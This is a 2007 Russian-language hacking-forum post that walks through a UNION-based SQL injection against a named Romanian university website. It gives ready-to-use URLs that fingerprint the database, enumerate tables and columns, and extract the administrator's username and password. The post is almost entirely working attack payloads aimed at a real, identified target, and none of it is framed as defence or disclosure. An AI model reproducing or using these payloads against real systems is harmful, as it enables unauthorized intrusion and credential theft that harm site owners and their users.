Показать сообщение отдельно

.ro
  #3066  
Старый 09.09.2007, 15:01
Nea7
Участник форума
Регистрация: 08.09.2007
Сообщений: 211
Провел на форуме:
5076186

Репутация: 778
По умолчанию .ro

пройдемся по Румынии:

_htp://ori.utcluj.ro/burse/detalii_bursa.php?id=-1+union+select+1,concat(user(),0x3a,version(),0x3a ,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18/*
подбираем столбец и таблицу:
Код:
http://ori.utcluj.ro/burse/detalii_bursa.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat(column_name,0x3a,table_name),16,17,18+from+INFORMATION_SCHEMA.COLUMNS+limit+160,1/*
выводим логин:пароль админа:

_http://ori.utcluj.ro/burse/detalii_ bursa.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,co ncat(username,0x3a,password),16,17,18+from+adabsol utum_admin/*

Последний раз редактировалось Nea7; 09.09.2007 в 15:04..
 
Ответить с цитированием